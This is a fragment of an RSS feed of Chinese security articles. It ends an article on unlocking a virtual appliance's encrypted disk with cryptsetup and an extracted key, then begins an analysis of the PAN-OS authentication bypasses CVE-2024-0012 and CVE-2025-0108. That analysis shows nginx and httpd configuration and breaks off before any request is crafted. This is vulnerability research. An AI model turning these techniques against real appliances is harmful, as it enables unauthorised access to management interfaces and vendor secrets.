400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">后续从文件系统中找到lvmkey，进行加密磁盘的挂载，获取并可修改文件系统</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">lzma -d dump01-82557165.lzma </span><span leaf=""><br/></span><span leaf="">cpio -id &lt; dump01-82557165 </span><span leaf=""><br/></span><span leaf="">cryptsetup --key-file root-key luksOpen /dev/sdb3 root</span><span leaf=""><br/></span><span leaf="">mount /dev/mapper/root ./rootfs/</span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">总结</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">以上总结了相关针对加密磁盘的一些思路、方法和常用的调试命令，内容较为基础，主要为互联网相关知识的梳理总结。通过分析目标系统整体文件系统，通常还能发现其他很多有趣的点，比如厂商license的格式细节、内部服务接口等敏感信息，对于体系研究都能有不错的启发。以上内容还请读者进行指正。</span></p></section><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><section><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></section><section class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></section><section><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><br/></span></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247492025">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=00cec65d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492025%26idx%3D1%26sn%3Dc34e7f10ddda2aaea26dc041eaea0604%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 05 May 2025 10:13:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2024-0012&amp;CVE-2025-0108 PAN-OS 从配置文件中寻找认证绕过漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247491776&amp;idx=1&amp;sn=8fe7433aaae447fe8dc9569ef0f44bc3</link>
      <description>Palo Alto Networks PAN-OS 近期爆出的多个漏洞，其中包含 2 个认证绕过漏洞。漏洞原理比较类似，都是因为在多级配置转发的过程中存在逻辑缺陷，导致可通过构造特殊请求数据包实现认证绕过，从而越权访问 Web 管理界面。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-04-20 10:14</span> <span style="display: inline-block;">北京</span>
</p>

<p>Palo Alto Networks PAN-OS 近期爆出的多个漏洞，其中包含 2 个认证绕过漏洞。漏洞原理比较类似，都是因为在多级配置转发的过程中存在逻辑缺陷，导致可通过构造特殊请求数据包实现认证绕过，从而越权访问 Web 管理界面。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e93cefce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAz4T6HxG1rIeOGvNexhaPwUIKnicdf2WKOI8pSj1wZZcYUjEmrEicSwLy8DjendqDVMvHHmdKxrlp8g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""><br/></span></p><section style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 20.8px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞概述</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Palo Alto Networks PAN-OS</span></code><span leaf="">先后爆出</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">2</span></code><span leaf="">个认证绕过漏洞</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2024-0012</span></code><span leaf="">和</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-0108</span></code><span leaf="">，漏洞原理比较类似，都是因为在多级配置转发的过程中存在逻辑缺陷，导致可通过构造特殊请求数据包实现认证绕过，从而越权访问</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Web</span></code><span leaf="">管理界面。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 20.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">架构分析</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">解析</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">vmdk</span></code><span leaf="">文件，提取文件系统。然后进入系统底层</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">bash</span></code><span leaf="">，分析可知</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">443</span></code><span leaf="">端口对应</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Nginx</span></code><span leaf="">服务：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">[root@PA-VM ~]# ps -ef|grep 5708</span><span leaf=""><br/></span><span leaf="">root      5337  2711  0 03:23 tty1     00:00:00 grep --color=auto 5708</span><span leaf=""><br/></span><span leaf="">nobody    5708  3120  0 01:01 ?        00:00:00 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf</span><span leaf=""><br/></span><span leaf="">nobody    6235  5708  0 01:01 ?        00:00:05 nginx: worker process</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">nginx.conf</span></code><span leaf="">中定义了一个转发到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">28250</span></code><span leaf="">端口的规则：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">upstream backend_mgmt {</span><span leaf=""><br/></span><span leaf=""> server 127.0.0.1:28250;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">proxy_redirect <a href="http://$host:28250/" target="_blank">http://$host:28250/</a> $scheme://$host:$server_port/;</span><span leaf=""><br/></span><span leaf="">proxy_redirect <a href="http://$proxy_host:28250/" target="_blank">http://$proxy_host:28250/</a> $scheme://$host:$server_port/;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对应</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></code><span leaf="">进程：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/usr/sbin/httpd -f /etc/httpd/mgmtui/conf/httpd.conf -DNO_DETACH -DFOREGROUND</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></code><span leaf="">配置中通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">mod_php</span></code><span leaf="">模块调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft 